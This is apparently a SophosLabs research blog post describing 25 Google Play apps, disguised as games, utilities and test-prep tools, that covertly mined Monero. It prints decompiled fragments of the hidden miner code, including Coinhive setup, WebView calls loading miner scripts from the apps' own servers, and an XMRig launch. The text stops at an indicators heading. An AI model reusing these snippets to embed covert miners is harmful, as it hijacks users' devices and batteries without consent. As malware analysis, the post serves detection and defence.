Cryptojacking apps return to Google Play Market

By Pankaj Kohli

Even though the prices of cryptocurrencies have tanked considerably in the past few months, malware authors are still upbeat about the idea of leveraging victims’ devices for mining. In conjunction with our contribution to the Cyber Threat Alliance report on cryptomining and cryptojacking, released last week, we’re publishing this report on undisclosed cryptomining code in mobile apps.

SophosLabs recently discovered 25 apps on Google Play that disguise themselves as games, utilities and educational apps, but under the hood they turn victim’s mobile device into cryptocurrency churning rigs. These apps had been downloaded and installed more than 120,000 times.

Most of the apps were found to have embedded code from Coinhive, a JavaScript implementation to mine Monero. Coinhive is specifically written to crunch numbers using CPUs (as opposed to graphics processors), which makes it a perfect candidate for covert mining on mobile devices.

The miner code, which is only a few lines long, can be easily added into any app that uses a WebView embedded browser. Monero has been the authors’ choice of cryptocurrency for all these apps as it offers sufficient privacy to keep the source, destination, and the amount mined hidden. These apps use CPU throttling to limit CPU usage by mining, and thus avoid the usual pitfalls: Device overheating, high battery drain, and overall device sluggishness – a mistake made by the mobile mining malware Loapi last year.

11 of these 25 apps were preparation apps for standardized tests given in the US, exams such as the ACT, GRE, or SAT, and were published by a single developer account (Gadgetium). These apps contain a HTML page which contains Coinhive-based miner.

function startMiner(n, id) {
 	if(isAlreadyStarted) return;
 	isAlreadyStarted=true;
	var miner = new CoinHive.Anonymous(id, {
		threads: n-1,
		autoThreads: true,
		throttle: 0.5
	});
	miner.start();
}

The apps first enable JavaScript and load the HTML page using a WebView.

this.mWebView.getSettings().setJavaScriptEnabled(true);
...
this.mWebView.loadUrl("file:///android_asset/test.html");

The miner is then started using a wallet value (miner_id) retrieved from the resources.

this.mWebView.loadUrl("javascript:startMiner(\"" + this.mNumCores + "\",\"" + this.getString(string.miner_id) + "\")");

While most of the Coinhive based mining apps relied on scripts hosted on coinhive.com, two of these apps – co.lighton and com.mobeleader.spsapp hosted the mining scripts on their own servers (shown below), presumably to thwart firewalls or parental controls/reputation services that might block Coinhive’s domain by default.

	Log.i(this.this$1.this$0.TAG, " STOP ");
	this.this$1.this$0.web.loadUrl("about:blank");
	this.this$1.this$0.cancelNotification();
	this.this$1.this$0.mFirebaseAnalytics.logEvent("miner_stop", ((Bundle)v8));
}
else {
	Log.i(this.this$1.this$0.TAG, " START ");
	this.this$1.this$0.web.loadUrl("http://www.buyguard.co/sdk/?key=1a0Cej64dYffEiItrLIeiq4GfpPtn0Hf");
	this.this$1.this$0.setNotification();
	this.this$1.this$0.mFirebaseAnalytics.logEvent("miner_start", ((Bundle)v8));
}

this.c = new WebView(this.getApplicationContext());
this.c.getSettings().setJavaScriptEnabled(true);
this.c.setWebChromeClient(new WebChromeClient());
this.c.loadUrl("https://miner.mobeleader.com/miner.php?hash=" + 
               this.a.getString("mobeleader_appHash", "") + 
               "&coin=" + 
               this.a.getString("mobeleader_coin", ""));

One of the discovered apps – de.uwepost.apaintboxforkids was found to using XMRig, an open-source CPU miner that can mine several cryptocurrencies, including Monero.

ProcessBuilder v8 = new ProcessBuilder(new String[]{"./xmrig"});
v8.directory(this.getApplicationContext().getFilesDir());
v8.environment().put("LD_LIBRARY_PATH", this.privatePath);
v8.redirectErrorStream(); this.accepted = 0; this.process = v8.start();
this.outputHandler = new OutputReaderThread(this, this.process.getInputStream());
this.outputHandler.start();
Log.i("MiningSvc", "started, threads=" + arg10.threads + ", maxCpu=" + arg10.maxCpu);

Although mining apps have been categorically banned on Google Play, many such miners still continue to be freely available on the marketplace.

SophosLabs notified Google about these mining apps in August. Although some of these apps have been taken down, many of these continue to remain available. These apps are detected by Sophos Mobile Security as Coinhive JavaScript cryptocoin miner and Android XMRig Miner.

Indicators of Cryptomining